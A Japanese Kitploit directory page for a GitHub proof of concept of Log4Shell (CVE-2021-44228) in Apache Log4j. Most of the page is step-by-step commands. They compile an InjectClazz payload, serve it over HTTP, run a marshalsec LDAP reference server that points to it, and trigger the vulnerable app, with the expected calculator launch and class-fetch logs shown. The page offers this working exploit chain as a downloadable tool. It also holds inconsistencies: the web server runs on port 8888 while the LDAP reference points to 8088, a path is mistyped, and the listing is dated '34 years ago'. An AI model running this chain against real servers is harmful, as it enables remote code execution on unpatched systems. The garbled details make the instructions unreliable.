Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/lonecloud/cve-2021-44228-apache-log4j
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用コマンド＆コントロールリモートアクセスツール
GitHublonecloud/cve-2021-44228-apache-log4j

CVE-2021-44228-Apache-Log4j

CVE-2021-44228-Apache-Log4j

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
34年前未レビュー

CVE-2021-44228(Apache Log4j Remote Code Execution）

影響を受けるバージョン: 2.0-beta9～2.12.1、および2.13.0～2.15.0の全バージョン

Log4Shell (CVE-2021-44228) に関連するセキュリティアドバイザリ / 速報

使用方法:

  1. このプロジェクトをダウンロードして、InjectClazz.javaをコンパイルします
root@kitploit:~
# ダウンロード
git clone http://github.com/lonecloud/CVE-2021-44228-Apache-Log4j
cd CVE-2021-44228-Apache-Log4j
javac InjectClazz.java
  1. InjectClazzがあるディレクトリでWebサーバーを起動します
root@kitploit:~
# Webサーバーを起動
# Python2の場合
python -m SimpleHTTPServer 8888
# Python3の場合
python3 -m http.server 8888
#
  1. LDAP サーバーをダウンロードします
root@kitploit:~
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8088/#InjectClazz" 1389
  1. プロジェクトを実行します
root@kitploit:~
cd CCVE-2021-44228-Apache-Log4j
mvn clean package
java -cp target/CVE-2021-44228-Apache-Log4j-1.0-SNAPSHOT-all.jar Log4jAceMain


# 以下の出力が期待されます
# 1. 電卓アプリが表示されます
# 2. LDAPサーバーのコンソールに、
Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8088/InjectClazz.class
# 3. Webサーバーのコンソールに、
#  127.0.0.1 - - [....] "GET /InjectClazz.class HTTP/1.1" 200 -
ツールをダウンロード